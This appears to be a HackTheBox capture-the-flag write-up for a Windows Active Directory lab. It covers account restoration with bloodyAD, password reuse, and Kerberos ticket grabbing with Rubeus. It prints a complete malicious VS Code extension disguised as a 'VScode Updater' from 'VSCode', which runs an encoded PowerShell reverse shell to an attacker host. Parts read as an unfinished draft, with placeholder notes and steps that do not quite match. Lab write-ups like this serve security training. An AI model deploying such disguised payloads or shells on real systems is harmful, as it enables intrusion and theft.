HackTheBox Writeup: Checkpoint

18 Oct 2026 · HTB · 6 min
Machine
Checkpoint
OS
Windows
Difficulty
Medium
Released
13 Jun 2026
Status
Retired
Rating
★4.2 / 5.0
Table of Contents

Overview

Checkpoint is a medium-difficulty Windows Active Directory machine where we start with the credentials of a low privileged user. That user can restore a deleted domain account, which turns out to use the same password and has write access to an SMB share. A malicious VS Code extension (VSIX) placed on that share is picked up automatically and gives us a reverse shell. From there, the BadSuccessor vulnerability shows up as the way to move further, and we start by grabbing a Kerberos ticket for the account involved.

Enumeration

We started to conduct a Nmap scan, which enables us to identify open ports on the target system.

Nmap Scan

┌──(n0xshell㉿kali)-[~]
└─$ nmap -A 10.129.115.170
Conducted Nmap Scan

Conducted Nmap Scan

Based on the output above, we are able ot identify that is an Active Directory machine. Since there are no web ports open. Also we have been given credentials from the creator of this machine:

As is common in real life pentests, you will start the Checkpoint box with credentials for the following account alex.turner / Checkpoint2024!

Users Enumeration

Since we have valid credentials, we want to enumerate potential users on the system.

┌──(n0xshell㉿kali)-[~/Tools]
└─$ nxc smb checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --users
Identified Users

Identified Users

SMB Shares Enumeration

We used the same credentials, to enumerate the shares on the target machine.

┌──(n0xshell㉿kali)-[~/Tools]
└─$ nxc smb checkpoint.htb -u alex.turner -p 'Checkpoint2024!' --shares
Identified Shares

Identified Shares

Enumerate Alex Permissions

After this, we were pretty stuck. We utilized BloodAD, to enumerate where Alex has writeable permissions over users/groups.

┌──(.venv)─(n0xshell㉿kali)-[~/Tools/bloodyAD]
└─$ python3 bloodyAD.py -H checkpoint.htb -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' get writable   
Enumerate Alex Permissions

Enumerate Alex Permissions

We are able to modify 2 users their attributes.

  1. Alex Turner (ourself)
  2. Mark Davies

Exploitation

Based on our enumeration, we have have the ability to restore the user Mark Davies which is currently inside Deleted Objects OU. Once we have restored the user, we can modify its attributes to make it vulnerable to AS-REPRoasting.

ASREP-Roasting, will allows us to request AS-REQ request, obtaining a hash of the users password, knowing this we can crack the users password and login as that user.

Restore (Enable) User

First we are going to restore the account (explain more in detail what it does in the background)

┌──(.venv)─(n0xshell㉿kali)-[~/Tools/bloodyAD]
└─$ python3 bloodyAD.py -H checkpoint.htb -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' set restore "CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb"

After this, we are going to make sure the account is enabled, by updating the users attrubute value with ACCOUNTDISABLE

┌──(.venv)─(n0xshell㉿kali)-[~/Tools/bloodyAD]
└─$ python3 bloodyAD.py -H checkpoint.htb -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' remove uac mark.davies -f ACCOUNTDISABLE
Account Restored

Account Restored

In order to verify the account has been activated, we utilized the following command:

┌──(.venv)─(n0xshell㉿kali)-[~/Tools/bloodyAD]
└─$ python3 bloodyAD.py -H checkpoint.htb -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' get object mark.davies --attr userAccountControl
Account Verified

Account Verified

Share Enumeration

We reused the password of Alex for Mark, we were able to identify that mark has WRITE permission on the DevDrop share.

┌──(n0xshell㉿kali)-[~/Checkpoint]
└─$ nxc smb 10.129.115.170 -u mark.davies -p 'Checkpoint2024!' --shares
Reused Credentials

Reused Credentials

Exploitating Malicous VSIX

We utilized a valid Python vsix download, and modified heavily with the following contents:

Package.json

{
  "name": "VScode Updater",
  "displayName": "VScode Updater",
  "version": "1.0.0",
  "publisher": "VSCode",
  "engines": {
    "vscode": "^1.118.0"
  },
  "activationEvents": [
    "*"
  ],
  "main": "./extension.js",
  "contributes": {}
}

Content_Types.xml

<?xml version="1.0" encoding="utf-8"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
  <Default Extension=".vsixmanifest" ContentType="text/xml"/>
  <Default Extension=".json" ContentType="application/json"/>
  <Default Extension=".js" ContentType="application/javascript"/>
</Types>

Extension.vsixmanifest

<?xml version="1.0" encoding="utf-8"?>
<PackageManifest Version="2.0.0"
  xmlns="http://schemas.microsoft.com/developer/vsx-schema/2011">
  <Metadata>
    <Identity Language="en-US" Id="VScode Updater"
              Version="1.0.0" Publisher="VScode"/>
    <DisplayName>VScode Updater</DisplayName>
    <Description>VScode Updater</Description>
  </Metadata>
  <Installation>
    <InstallationTarget Id="Microsoft.VisualStudio.Code"/>
  </Installation>
  <Assets>
    <Asset Type="Microsoft.VisualStudio.Code.Manifest"
           Path="extension/package.json"/>
  </Assets>
</PackageManifest>

Extension.js

const { exec } = require('child_process');

function activate(context) {
  exec('powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQAzADMAIgAsADQANAA0ADQAKQA7AAoAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsACgBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AAoAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsADAALAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsACgAgACAAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAkAGkAKQA7AAoAIAAgACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAKQA7AAoAIAAgACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7AAoAIAAgACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsACgAgACAAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7AAoAIAAgACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAAoAfQA7AAoAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA');
}

function deactivate() {}

module.exports = { activate, deactivate };

We zipped it into 1 valid vsix file and put in on the share.

┌──(n0xshell㉿kali)-[~/Checkpoint/malicious-vsix]
└─$ zip -r getuser.vsix .
Crafting Malicious VSIX

Crafting Malicious VSIX

We uploaded that to the share with the following command and within 2 mins we are able to get a reverse shell back.:

┌──(n0xshell㉿kali)-[~/Checkpoint/malicious-vsix]
└─$ smbclient \\\\checkpoint.htb\\Devdrop -U mark.davies

smb: \> put getuser.vsix 
Uploaded VSIX

Uploaded VSIX

Obtained Reverse Shell

Obtained Reverse Shell

Post-Enumeration

After we gained user level access, we continued to enumerate the target system. We are able to identify that ryan brooks is vulnerable to badsuccesoor vulnerability (explain more)

┌──(n0xshell㉿kali)-[~/Checkpoint/malicious-vsix]
└─$ nxc ldap checkpoint.htb -u mark.davies -p 'Checkpoint2024!' -M badsuccessor
Detected Badsuccessor

Detected Badsuccessor

We were able to find during our initial enumeration, we found a deploy service account. Since that was the only account with an description, we found thereby that a target.

Post-Exploitation

Get Kerberos Ticket

We are not able to update the users password, so instead we grab the ticket and supply to to bloodyad to we can create malicious DMSA

PS C:\temp> .\Rubeus.exe tgtdeleg /nowrap

   ______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.0 


[*] Action: Request Fake Delegation TGT (current user)

[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/DC01.checkpoint.htb'
[+] Kerberos GSS-API initialization success!
[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: wUK+XFt9kLKRvCAvKW86Q0BeaGnIjIht+eyK5oSZn28=
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):
Grab TGT Ticket

Grab TGT Ticket

We converted into a ccache file, so we can utlize it

┌──(n0xshell㉿kali)-[~/Checkpoint]
└─$ ticketConverter.py ryan.kirbi ryan.ccache

Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies 

[*] converting kirbi to ccache...
[+] done

← Back to HackTheBox Writeups